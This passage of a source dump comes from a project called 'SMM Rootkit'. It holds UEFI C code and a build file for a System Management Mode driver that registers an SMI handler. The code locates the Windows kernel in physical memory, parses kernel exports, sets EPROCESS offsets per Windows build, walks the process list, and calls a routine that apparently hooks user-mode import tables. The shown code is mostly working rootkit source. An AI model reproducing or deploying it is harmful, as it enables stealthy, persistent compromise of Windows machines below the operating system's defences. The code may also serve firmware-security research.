//SerialPrintString("\r\n Type: "); //SerialPrintNumber(MemoryMap->Type, 10); //SerialPrintString("\r\n PhysStart: "); //SerialPrintNumber(MemoryMap->PhysicalStart, 16); //SerialPrintString(" PhysEnd: "); //SerialPrintNumber(MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages), 16); //SerialPrintString("\r\n\r\n"); MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize); } } } ================================================ FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.h ================================================ #ifndef __smmrootkit_mm_uefi_h__ #define __smmrootkit_mm_uefi_h__ #include #include BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap); BOOLEAN InitUefiMemoryMap(); BOOLEAN IsAddressValid(UINT64 address); EFI_MEMORY_DESCRIPTOR* GetUefiMemoryMap(); VOID ShowMemoryMap(); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/SMMRootkit.c ================================================ // Basic UEFI Libraries #include // Protocols #include // Our includes #include "MemoryMapUEFI.h" #include "TimerRTC.h" #include "serial.h" #include "WinUmdIATHook.h" #include "Memory.h" #include "WinTools.h" EFI_SMM_SYSTEM_TABLE2 *gSmst2 = NULL; // UEFI Tables (will be gone after exiting DXE stage) EFI_SYSTEM_TABLE *lST = NULL; EFI_BOOT_SERVICES *lBS = NULL; // used by MemoryMapUEFI.c EFI_RUNTIME_SERVICES *lRT = NULL; // NTKernelTools.c extern WinCtx *winGlobal; // System initialization vars UINT32 SystemStartTime; UINT32 SystemUptime; BOOLEAN SystemInitOS; VOID SmmCallHandle() { if (!SystemInitOS) { // try to grab the windows Context SystemInitOS = InitGlobalWindowsContext(); // give more time if it still failed if (!SystemInitOS) { SystemStartTime = SystemUptime; return; } } // if the context has been initialized WindowsUmdIATHook(); return; } EFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL) { // if the OS has not been initialized if (!SystemInitOS) { // count if the OS SHOULD be initialized UINT16 TimeSinceLastSMI = CmosGetCurrentTime(); // Did we overflow? This happens once every hour if (TimeSinceLastSMI < SystemUptime) SystemUptime += TimeSinceLastSMI; else SystemUptime = TimeSinceLastSMI; // ctx not initialized and system hasn't booted completely if (SystemUptime - SystemStartTime < 10) { return EFI_SUCCESS; } } SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE); SmmCallHandle(); return EFI_SUCCESS; } EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) { // Write to serial port SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE); SerialPrintString("\r\n"); SerialPrintString("--------------------------------------------\r\n"); SerialPrintString("| |\r\n"); SerialPrintString("| S M M R O O T K I T |\r\n"); SerialPrintString("| |\r\n"); SerialPrintString("| shoutout to rain, Cr4sh, |\r\n"); SerialPrintString("| ufrisk, Heep042, authors of LongKit |\r\n"); SerialPrintString("| |\r\n"); SerialPrintString("--------------------------------------------\r\n"); SerialPrintString("\r\n"); // Save the system tables etc. in global variable for further usage (currently only lBS used) lST = SystemTable; lBS = SystemTable->BootServices; lRT = SystemTable->RuntimeServices; EFI_STATUS res; EFI_SMM_BASE2_PROTOCOL *SmmBase2; // lookup the SmmBase2 protocol by its GUID EFI_GUID SmmBase2Guid = EFI_SMM_BASE2_PROTOCOL_GUID; if ((res = SystemTable->BootServices->LocateProtocol(&SmmBase2Guid, NULL, (void **)&SmmBase2)) != EFI_SUCCESS) { SerialPrintString("Could not locate SmmBase2 protocol!\r\n"); return res; } // get EFI_SMM_SYSTEM_TABLE2 in global var if ((res = SmmBase2->GetSmstLocation(SmmBase2, &gSmst2)) != EFI_SUCCESS) { SerialPrintString("Could not locate SMST!\r\n"); return res; } // Register SMI Root Handler, discard the returning handle (we never unload the handler) EFI_HANDLE hSmmHandler; if ((res = gSmst2->SmiHandlerRegister(&SmmHandler, NULL, &hSmmHandler)) != EFI_SUCCESS) { return res; } // Initialize the virtual memory map for UEFI SerialPrintStringDebug("Initializing UEFI Memory Map \r\n"); if (!InitUefiMemoryMap()) { SerialPrintString("Failed dumping Memory Map for UEFI \r\n"); return EFI_ERROR_MAJOR; } SerialPrintStringDebug("Successfully dumped Memory Map \r\n"); SerialPrintStringDebug("Memory Map at: 0x"); SerialPrintNumberDebug((UINT64)GetUefiMemoryMap(), 16); SerialPrintStringDebug("\r\n"); // Allocate memory for windows context. // This is allocated straight as a page // to prevent our cheap malloc trashing it EFI_PHYSICAL_ADDRESS physAddr; gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr); winGlobal = (WinCtx *)physAddr; SerialPrintStringDebug("WinGlobal: 0x"); SerialPrintNumberDebug((UINT64)winGlobal, 16); SerialPrintStringDebug("\r\n"); // Set the start time of the PC SystemStartTime = CmosGetCurrentTime(); SystemUptime = SystemStartTime; SerialPrintStringDebug("Start time was: "); SerialPrintNumberDebug(SystemStartTime, 10); SerialPrintStringDebug("\r\n"); // Initialize our own heap with some memory to be used if (InitMemManager(100)) { SerialPrintStringDebug("memory manager successfully initialized!\r\n"); } // Initialize the os ctx value, so no useless // probing is done while the OS hasn't even booted SystemInitOS = FALSE; // Initialize the UMD IAT Hooking state InitWindowsUmdIATHook(); return EFI_SUCCESS; } ================================================ FILE: SMM Rootkit/SMMRootkit/SMMRootkit.inf ================================================ [defines] INF_VERSION = 0x00010005 BASE_NAME = SMMRootkit FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1 MODULE_TYPE = DXE_SMM_DRIVER PI_SPECIFICATION_VERSION = 0x0001000A ENTRY_POINT = UefiMain [Sources] SMMRootkit.c serial.c string.c MemManager.c MemoryMapUEFI.c Memory.c WinTools.c WinUmdIATHook.c TimerRTC.c [Sources.X64] helpers.asm [Packages] MdePkg/MdePkg.dec MdeModulePkg/MdeModulePkg.dec IntelFrameworkPkg/IntelFrameworkPkg.dec IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec StdLib/StdLib.dec [LibraryClasses] UefiDriverEntryPoint UefiBootServicesTableLib PcdLib BaseMemoryLib DevicePathLib SmmMemLib PciLib [Protocols] gEfiSimpleTextOutProtocolGuid gEfiLoadedImageProtocolGuid gEfiSmmCpuProtocolGuid gEfiSmmBase2ProtocolGuid gEfiSmmAccess2ProtocolGuid gEfiSmmSwDispatch2ProtocolGuid gEfiSmmPeriodicTimerDispatch2ProtocolGuid gEfiSmmEndOfDxeProtocolGuid gEfiDevicePathProtocolGuid gEfiSerialIoProtocolGuid gEfiCpuArchProtocolGuid [Depex] TRUE ================================================ FILE: SMM Rootkit/SMMRootkit/TimerRTC.c ================================================ #include "TimerRTC.h" UINT8 cmos_read(UINT8 index) { IoWrite8(CMOS_PORT_ADDRESS, index); return IoRead8(CMOS_PORT_DATA); } VOID cmos_write(UINT8 index, UINT8 val) { IoWrite8(CMOS_PORT_ADDRESS, index); IoWrite8(CMOS_PORT_DATA, val); } VOID read_statusc() { // Has to be done after every interrupt else timer stops IoWrite8(CMOS_PORT_ADDRESS, 0xC); IoRead8(CMOS_PORT_DATA); } VOID cmos_enable() { // Read current Status A UINT8 regA = cmos_read(0xA); // Set timer to 500ms regA = (regA & 0xF0) | 0x5; // Write Status A cmos_write(0xA, regA); // Read current Status B UINT8 regB = cmos_read(0xB); // Enable periodic timer regB = regB | 0x40; // Write Status B cmos_write(0xB, regB); } UINT8 get_RTC_register(INT32 reg) { IoWrite8(CMOS_PORT_ADDRESS, reg); return IoRead8(CMOS_PORT_DATA); } UINT16 CmosGetCurrentTime() { // Read Seconds and minutes UINT8 second = get_RTC_register(0x00); UINT8 minute = get_RTC_register(0x02); UINT8 registerB = cmos_read(0xB); if (!(registerB & 0x04)) { second = (second & 0x0F) + ((second / 16) * 10); minute = (minute & 0x0F) + ((minute / 16) * 10); } return (UINT16)minute * 60 + second; } ================================================ FILE: SMM Rootkit/SMMRootkit/TimerRTC.h ================================================ #ifndef __smmrootkit_timer_rtc_h__ #define __smmrootkit_timer_rtc_h__ #include #include #define CMOS_PORT_ADDRESS 0x70 #define CMOS_PORT_DATA 0x71 UINT8 cmos_read(UINT8 index); VOID cmos_write(UINT8 index, UINT8 val); VOID read_statusc(); VOID cmos_enable(); UINT8 get_RTC_register(INT32 reg); UINT16 CmosGetCurrentTime(); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/WinTools.c ================================================ #include "WinTools.h" #ifndef HEADER_SIZE #define HEADER_SIZE 0x1000 #endif WinCtx *winGlobal = NULL; // from SMMRootkit.c extern EFI_SMM_SYSTEM_TABLE2 *gSmst2; /* The low stub (if exists), contains PML4 (kernel DirBase) and KernelEntry point. Credits: PCILeech */ STATIC BOOLEAN CheckLow(UINT64 *pml4, UINT64 *kernelEntry) { UINT64 o = 0; while (o < 0x100000) { o += 0x1000; // Check if address is okay if (IsAddressValid(o) == TRUE) { if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64 *)(VOID *)(o + 0x000))) { continue; } // START if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64 *)(VOID *)(o + 0x070))) { continue; } // KERNEL if (0xffffff0000000fff & *(UINT64 *)(VOID *)(o + 0x0a0)) { continue; } // PML4 *pml4 = *(UINT64 *)(VOID *)(o + 0xa0); *kernelEntry = *(UINT64 *)(VOID *)(o + 0x70); return TRUE; } } return FALSE; } STATIC BOOLEAN findNtosKrnl(UINT64 kernelEntry, UINT64 PML4, UINT64 *ntKernel) { // Check nulled kernelEntry SerialPrintStringDebug(" Trying to find Ntos kernel ... \r\n"); UINT64 physicalFirst = 0; physicalFirst = VTOP(kernelEntry & 0xFFFFFFFFFF000000, PML4, FALSE); if (IsAddressValid(physicalFirst) == TRUE && physicalFirst != 0) { if (((kernelEntry & 0xFFFFFFFFFF000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalFirst) == IMAGE_DOS_SIGNATURE) { INT32 kdbg = 0, poolCode = 0; for (INT32 u = 0; u < 0x1000; u++) { kdbg = kdbg || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x4742444b54494e49; poolCode = poolCode || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x45444f434c4f4f50; if (kdbg & poolCode) { *ntKernel = kernelEntry & 0xFFFFFFFFFF000000; SerialPrintStringDebug(" Kernel found!\r\n"); return TRUE; } } } } // Check kernelEntry + 0x2000000 UINT64 physicalSec = 0; physicalSec = VTOP((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000, PML4, FALSE); if (IsAddressValid(physicalSec) == TRUE && physicalSec != 0) { if ((((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalSec) == IMAGE_DOS_SIGNATURE) { INT32 kdbg = 0, poolCode = 0; for (INT32 u = 0; u < 0x1000; u++) { kdbg = kdbg || *(UINT64 *)(VOID *)(physicalSec + u) == 0x4742444b54494e49; poolCode = poolCode || *(UINT64 *)(VOID *)(physicalSec + u) == 0x45444f434c4f4f50; if (kdbg & poolCode) { *ntKernel = (kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000; SerialPrintStringDebug(" Kernel found!\r\n"); return TRUE; } } } } UINT64 i, p, u, mask = 0xfffff; while (mask >= 0xfff) { for (i = (kernelEntry & ~0x1fffff) + 0x10000000; i > kernelEntry - 0x20000000; i -= 0x200000) { for (p = 0; p < 0x200000; p += 0x1000) { UINT64 physicalP = 0; physicalP = VTOP(i + p, PML4, FALSE); if (IsAddressValid(physicalP) == TRUE && physicalP != 0) { if (((i + p) & mask) == 0 && *(INT16 *)(VOID *)(physicalP) == IMAGE_DOS_SIGNATURE) { INT32 kdbg = 0, poolCode = 0; for (u = 0; u < 0x1000; u++) { if (IsAddressValid(p + u) == FALSE) continue; kdbg = kdbg || *(UINT64 *)(VOID *)(physicalP + u) == 0x4742444b54494e49; poolCode = poolCode || *(UINT64 *)(VOID *)(physicalP + u) == 0x45444f434c4f4f50; if (kdbg & poolCode) { *ntKernel = i + p; SerialPrintStringDebug(" Kernel found!\r\n"); return TRUE; } } } } } } mask = mask >> 4; } SerialPrintString("ERROR: Could not find NTOS Kernel!\r\n"); return FALSE; } VOID FreeExportList(WinExportList list) { if (!list.list) return; for (UINT32 i = 0; i < list.size; i++) free((CHAR8 *)list.list[i].name); free(list.list); list.list = NULL; } UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName) { WinExportList exports; if (!GenerateExportList(ctx, process, module, &exports)) return 0; UINT64 ret = FindProcAddress(exports, procName); FreeExportList(exports); return ret; } UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName) { for (UINT32 i = 0; i < exports.size; i++) if (!strcmp(procName, exports.list[i].name)) return exports.list[i].address; return 0; } STATIC UINT16 GetNTVersion(const WinCtx *ctx) { UINT64 getVersion = FindProcAddress(ctx->ntExports, "RtlGetVersion"); if (!getVersion) { SerialPrintString("ERROR: Failed finding RtlGetVersion \r\n"); return 0; } CHAR8 buf[0x100]; v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE); CHAR8 major = 0, minor = 0; /* Find writes to rcx +4 and +8 -- those are our major and minor versions */ for (CHAR8 *b = buf; b - buf < 0xf0; b++) { if (!major && !minor) if (*(UINT32 *)(VOID *)b == 0x441c748) return ((UINT16)b[4]) * 100 + (b[5] & 0xf); if (!major && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x441c7) major = b[3]; if (!minor && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x841c7) minor = b[3]; } if (minor >= 100) minor = 0; return ((UINT16)major) * 100 + minor; } STATIC UINT32 GetNTBuild(const WinCtx *ctx) { UINT64 getVersion = FindProcAddress(ctx->ntExports, "RtlGetVersion"); if (!getVersion) { SerialPrintString("ERROR: Failed finding RtlGetVersion \r\n"); return 0; } UINT8 buf[0x100]; v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE); /* Find writes to rcx +12 -- that's where the version number is stored. These instructions are not on XP, but that is simply irrelevant. */ for (UINT8 *b = buf; b - buf < 0xf0; b++) { UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff; if (val == 0x0c41c7 || val == 0x05c01b) return *(UINT32 *)(VOID *)(b + 3); } /* Build 19044 onwards: * * If we can't find the rcx + 12, find what was moved to EAX with offset of RIP, * In bytecode this translates to 0f b7 05 ef be ad de * (movzx eax,WORD PTR [rip+offset] , offset deadbeef) * * Later on in v_memRead a static offset of 7 is used because the movzx instruction * takes 7 bytes in total, and RIP is pointing to the *next* instruction. */ for (UINT8 *b = buf; b - buf < 0xf0; b++) { UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff; /* * From 19044 onwards there are many movzx eax,WORD PTR * instructions, for now the Build is the first being pushed */ if (val == 0x05b70f) { UINT32 offset = *(UINT32 *)(VOID *)(b + 3); UINT16 build = 0; v_memRead((UINT64)&build, getVersion + (b - buf) + 7 + offset, sizeof(build), ctx->initialProcess.dirBase, FALSE); /* * For some reason the kernel first tries to offer 19041 as the build number here, * but after a couple of retries the build number is magically patched to * 19044. Gotta love Microsoft :-) */ if(build > 19041) return (UINT32)build; return 0; } } return 0; } STATIC BOOLEAN SetupOffsets(WinCtx *ctx) { switch (ctx->ntVersion) { case 502: /* XP SP2 */ ctx->offsets = (WinOffsets){ .apl = 0xe0, .session = 0x260, .imageFileName = 0x268, .dirBase = 0x28, .peb = 0x2c0, .peb32 = 0x30, .threadListHead = 0x290, .threadListEntry = 0x3d0, .teb = 0xb0}; break; case 601: /* W7 */ ctx->offsets = (WinOffsets){ .apl = 0x188, .session = 0x2d8, .imageFileName = 0x2e0, .dirBase = 0x28, .peb = 0x338, .peb32 = 0x30, .threadListHead = 0x300, .threadListEntry = 0x420, /* 0x428 on later SP1 */ .teb = 0xb8}; /* SP1 */ if (ctx->ntBuild == 7601) ctx->offsets.imageFileName = 0x2d8; break; case 602: /* W8 */ ctx->offsets = (WinOffsets){ .apl = 0x2e8, .session = 0x430, .imageFileName = 0x438, .dirBase = 0x28, .peb = 0x338, /*peb will be wrong on Windows 8 and 8.1*/ .peb32 = 0x30, .threadListHead = 0x470, .threadListEntry = 0x400, .teb = 0xf0}; break; case 603: /* W8.1 */ ctx->offsets = (WinOffsets){ .apl = 0x2e8, .session = 0x430, .imageFileName = 0x438, .dirBase = 0x28, .peb = 0x338, .peb32 = 0x30, .threadListHead = 0x470, .threadListEntry = 0x688, /* 0x650 on previous builds */ .teb = 0xf0}; break; case 1000: /* W10 */ ctx->offsets = (WinOffsets){ .apl = 0x2e8, .session = 0x448, .imageFileName = 0x450, .dirBase = 0x28, .peb = 0x3f8, .peb32 = 0x30, .threadListHead = 0x488, .threadListEntry = 0x6a8, .teb = 0xf0}; if (ctx->ntBuild >= 18362) { /* Version 1903 or higher */ ctx->offsets.apl = 0x2f0; ctx->offsets.threadListEntry = 0x6b8; } if (ctx->ntBuild >= 19041) { ctx->offsets.apl = 0x448; ctx->offsets.session = 0x558; ctx->offsets.imageFileName = 0x5a8; ctx->offsets.peb = 0x550; ctx->offsets.threadListHead = 0x5e0; ctx->offsets.threadListEntry = 0x4e8; //probably wrong, but it's not used anywhere } break; default: return FALSE; } return TRUE; } BOOLEAN InitGlobalWindowsContext() { SerialPrintStringDebug("== Initializing windows context struct ==\r\n"); if (winGlobal) { SerialPrintStringDebug(" Cleaning up old Windows struct ...\r\n"); FreeExportList(winGlobal->ntExports); } SerialPrintStringDebug(" Dynamic memory allocated before WinCtx init: "); SerialPrintNumberDebug(GetMemAllocated(), 10); SerialPrintStringDebug("\r\n"); BOOLEAN status = TRUE; BOOLEAN verbose = FALSE; // Search for the PML4 and kernelEntry UINT64 PML4, kernelEntry; status = CheckLow(&PML4, &kernelEntry); if (status == TRUE) { SerialPrintStringDebug(" PML4: 0x"); SerialPrintNumberDebug(PML4, 16); SerialPrintStringDebug(" Kernel entrypoint: 0x"); SerialPrintNumberDebug(kernelEntry, 16); SerialPrintStringDebug("\r\n"); winGlobal->initialProcess.dirBase = PML4; } else { SerialPrintString("KernelEntry failed! \r\n"); return FALSE; } // Search ntoskrnl status = findNtosKrnl(kernelEntry, PML4, &winGlobal->ntKernel); if (status == TRUE) { SerialPrintStringDebug(" NT kernel: 0x"); SerialPrintNumberDebug(winGlobal->ntKernel, 16); SerialPrintStringDebug("\r\n"); } else { SerialPrintStringDebug("ERROR: Failed finding NT kernel!\r\n"); return FALSE; } SerialPrintStringDebug(" Parsing Windows kernel exports ...\r\n"); if (GenerateExportList(winGlobal, &winGlobal->initialProcess, winGlobal->ntKernel, &winGlobal->ntExports) == FALSE) { return FALSE; } UINT64 PsInitialSystemProcess = FindProcAddress(winGlobal->ntExports, "PsInitialSystemProcess"); if (status == TRUE) { SerialPrintStringDebug(" PsInitialSystemProcess: 0x"); SerialPrintNumberDebug(PsInitialSystemProcess, 16); SerialPrintStringDebug("\r\n"); } else { SerialPrintString("ERROR: Failed finding PsInitialSystemProcess\r\n"); return FALSE; } // Find System EPROCESS UINT64 systemProcess = 0; v_memRead((UINT64)&systemProcess, PsInitialSystemProcess, sizeof(UINT64), PML4, verbose); if (status == TRUE) { SerialPrintStringDebug(" SystemProcess: 0x"); SerialPrintNumberDebug(systemProcess, 16); SerialPrintStringDebug("\r\n"); } else { SerialPrintString("ERROR: Failed finding SystemProcess\r\n"); return FALSE; } winGlobal->initialProcess.process = systemProcess; winGlobal->initialProcess.physProcess = VTOP(systemProcess, PML4, verbose); // Get Kernel Version & Build winGlobal->ntVersion = GetNTVersion(winGlobal); if (winGlobal->ntVersion == 0) { SerialPrintString("ERROR: Failed finding NT version\r\n"); return FALSE; } SerialPrintStringDebug(" NtVer: "); SerialPrintNumberDebug(winGlobal->ntVersion, 10); SerialPrintStringDebug("\r\n"); winGlobal->ntBuild = GetNTBuild(winGlobal); if (winGlobal->ntBuild == 0) { SerialPrintString("ERROR: Failed finding NT build!\r\n"); return FALSE; } SerialPrintStringDebug(" NtBuild "); SerialPrintNumberDebug(winGlobal->ntBuild, 10); SerialPrintStringDebug("\r\n"); status = SetupOffsets(winGlobal); if (status == FALSE) { SerialPrintString("ERROR: Failed setting Windows offsets!\r\n"); return FALSE; } SerialPrintStringDebug("== Windows offsets set! ==\r\n\r\n"); return TRUE; } BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList) { BOOLEAN verbose = FALSE; if (exports->Size < sizeof(IMAGE_EXPORT_DIRECTORY) || exports->Size > 0x7fffff || exports->VirtualAddress == moduleBase) return FALSE; UINT64 realSize = exports->Size & 0xFFFFFFFFFFFFF000; realSize = realSize + 0x1000; EFI_PHYSICAL_ADDRESS physAddr; CHAR8 *buf; EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, (realSize / 0x1000), &physAddr); if (ret != EFI_SUCCESS) { SerialPrintString(" Failed allocating pages while parsing export table! \r\n"); return FALSE; } buf = (CHAR8 *)physAddr; IMAGE_EXPORT_DIRECTORY *exportDir = (IMAGE_EXPORT_DIRECTORY *)(VOID *)buf; for (INT32 i = 0; i < (realSize / 0x1000); i++) { // Read page by page into buffer UINT64 physicalP = 0; physicalP = VTOP(moduleBase + exports->VirtualAddress + (i * 0x1000), process->dirBase, verbose); if (IsAddressValid(physicalP) == TRUE && physicalP != 0) { // Valid address, read it now if (p_memCpy((UINT64)(buf + (i * 0x1000)) & 0xFFFFFFFFFFFFF000, physicalP & 0xFFFFFFFFFFFFF000, 0x1000, verbose) == FALSE) SerialPrintString(" Failed physread! \r\n"); } else { SerialPrintString(" Invalid Address! \r\n"); } } SerialPrintStringDebug(" Finished Export Table.. NameAmount "); SerialPrintNumberDebug(exportDir->NumberOfNames, 10); SerialPrintStringDebug("\r\n"); buf[exports->Size] = 0; if (!exportDir->NumberOfNames || !exportDir->AddressOfNames) { SerialPrintString(" Export Table invalid! NON is 0 \r\n"); gSmst2->SmmFreePages(physAddr, (realSize / 0x1000)); return FALSE; } UINT32 exportOffset = exports->VirtualAddress; UINT32 *names = (UINT32 *)(VOID *)(buf + exportDir->AddressOfNames - exportOffset); // THIS FAILS FOR KERNEL32.DLL // TODO: FIX IT! if (exportDir->AddressOfNames - exportOffset + exportDir->NumberOfNames * sizeof(UINT32) > exports->Size) { gSmst2->SmmFreePages(physAddr, (realSize / 0x1000)); return FALSE; } UINT16 *ordinals = (UINT16 *)(VOID *)(buf + exportDir->AddressOfNameOrdinals - exportOffset); if (exportDir->AddressOfNameOrdinals - exportOffset + exportDir->NumberOfNames * sizeof(UINT16) > exports->Size) { gSmst2->SmmFreePages(physAddr, (realSize / 0x1000)); return FALSE; } UINT32 *functions = (UINT32 *)(VOID *)(buf + exportDir->AddressOfFunctions - exportOffset); if (exportDir->AddressOfFunctions - exportOffset + exportDir->NumberOfFunctions * sizeof(UINT32) > exports->Size) { gSmst2->SmmFreePages(physAddr, (realSize / 0x1000)); return FALSE; } SerialPrintStringDebug(" Dynamically allocating table ...\r\n"); outList->size = exportDir->NumberOfNames; outList->list = (WinExport *)malloc(sizeof(WinExport) * outList->size); if (!outList->list) { SerialPrintString("ERROR: Allocating memory for the NtKernel export list failed! alloc size was "); SerialPrintNumber(outList->size, 10); SerialPrintString("\r\n"); gSmst2->SmmFreePages(physAddr, (realSize / 0x1000)); return FALSE; } size_t sz = 0; SerialPrintStringDebug(" Filling the export list ...\r\n"); for (UINT32 i = 0; i < exportDir->NumberOfNames; i++) { if (names[i] > exports->Size + exportOffset || names[i] < exportOffset || ordinals[i] > exportDir->NumberOfNames) continue; outList->list[sz].name = strdup(buf + names[i] - exportOffset); outList->list[sz].address = moduleBase + functions[ordinals[i]]; sz++; } outList->size = sz; gSmst2->SmmFreePages(physAddr, (realSize / 0x1000)); SerialPrintStringDebug(" Export list successfully filled!\r\n"); return TRUE; } BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList) { UINT8 is64 = 0; UINT8 headerBuf[HEADER_SIZE]; IMAGE_NT_HEADERS64 *ntHeader64 = GetNTHeader(ctx, process, moduleBase, headerBuf, &is64); if (!ntHeader64) return FALSE; IMAGE_NT_HEADERS32 *ntHeader32 = (IMAGE_NT_HEADERS32 *)ntHeader64; IMAGE_DATA_DIRECTORY *exportTable = NULL; if (is64) { SerialPrintStringDebug(" Parsing export table for 64-bit module ...\r\n"); exportTable = ntHeader64->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; } else { SerialPrintStringDebug(" Parsing export table for 32-bit module ...\r\n"); exportTable = ntHeader32->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; } return ParseExportTable(ctx, process, moduleBase, exportTable, outList); } IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit) { v_memRead((UINT64)header, address, HEADER_SIZE, process->dirBase, FALSE); //TODO: Allow the compiler to properly handle alignment IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)(VOID *)header; if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL; IMAGE_NT_HEADERS *ntHeader = (IMAGE_NT_HEADERS *)(VOID *)(header + dosHeader->e_lfanew); if ((UINT8 *)ntHeader - header > HEADER_SIZE - 0x200 || ntHeader->Signature != IMAGE_NT_SIGNATURE) return NULL; if (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC && ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) return NULL; *is64Bit = ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC; return ntHeader; } BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose) { UINT64 curProc = ctx->initialProcess.physProcess; UINT64 virtProcess = ctx->initialProcess.process; if (verbose) { SerialPrintStringDebug(" curProc: "); SerialPrintNumberDebug(curProc, 16); SerialPrintStringDebug(" virtProcess "); SerialPrintNumberDebug(virtProcess, 16); SerialPrintStringDebug("\r\n"); } BOOLEAN foundSystemProcess = FALSE; UINT32 size = 0; while (!size || curProc != ctx->initialProcess.physProcess) { UINT64 *session = 0; if (IsAddressValid(curProc + ctx->offsets.session) == TRUE) { session = (UINT64 *)(curProc + ctx->offsets.session); if (verbose) { SerialPrintString(" Session: "); SerialPrintNumber(*session, 16); SerialPrintString(" at "); SerialPrintNumber(curProc + ctx->offsets.session, 16); SerialPrintString("\r\n"); } } UINT64 *dirBase = 0; if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE) { dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase); if (verbose) { SerialPrintString(" dirBase: "); SerialPrintNumber(*dirBase, 16); SerialPrintString(" at "); SerialPrintNumber(curProc + ctx->offsets.dirBase, 16); SerialPrintString("\r\n"); } } UINT64 *pid = 0; if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE) { pid = (UINT64 *)(curProc + ctx->offsets.apl - 8); if (verbose) { SerialPrintString(" pid: "); SerialPrintNumber(*pid, 16); SerialPrintString(" at "); SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16); SerialPrintString("\r\n"); } } if (*session || *pid == 4) { size++; CHAR8 *name; if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE) { name = (CHAR8 *)(curProc + ctx->offsets.imageFileName); if (!strcmp(name, "System")) { foundSystemProcess = TRUE; } // Check if it's the process requested if (!strcmp(name, processname)) { return TRUE; } } } // get the next process UINT64 *tempVirt; if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE) { tempVirt = (UINT64 *)(curProc + ctx->offsets.apl); virtProcess = *tempVirt; } else { virtProcess = 0; } virtProcess = virtProcess - ctx->offsets.apl; if (verbose) { SerialPrintString(" virtProcess: "); SerialPrintNumber(virtProcess, 16); SerialPrintString("\r\n"); } if (!virtProcess) break; curProc = VTOP(virtProcess, *dirBase, verbose); if (verbose) { SerialPrintString(" curProc: "); SerialPrintNumber(curProc, 16); SerialPrintString("\r\n"); } if (!curProc) break; } // If the windows struct is trashed during bootup or smth, // re-init the windows structs if (!foundSystemProcess) InitGlobalWindowsContext(); return FALSE; } BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose) { UINT64 curProc = ctx->initialProcess.physProcess; UINT64 virtProcess = ctx->initialProcess.process; if (verbose) { SerialPrintString(" curProc: "); SerialPrintNumber(curProc, 16); SerialPrintString(" virtProcess "); SerialPrintNumber(virtProcess, 16); SerialPrintString("\r\n"); } UINT32 size = 0; while (!size || curProc != ctx->initialProcess.physProcess) { UINT64 *session = 0; if (IsAddressValid(curProc + ctx->offsets.session) == TRUE) { session = (UINT64 *)(curProc + ctx->offsets.session); if (verbose) { SerialPrintString(" Session: "); SerialPrintNumber(*session, 16); SerialPrintString(" at "); SerialPrintNumber(curProc + ctx->offsets.session, 16); SerialPrintString("\r\n"); } } UINT64 *dirBase = 0; if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE) { dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase); if (verbose) { SerialPrintString(" dirBase: "); SerialPrintNumber(*dirBase, 16); SerialPrintString(" at "); SerialPrintNumber(curProc + ctx->offsets.dirBase, 16); SerialPrintString("\r\n"); } } UINT64 *pid = 0; if (IsAddressValid(curProc + 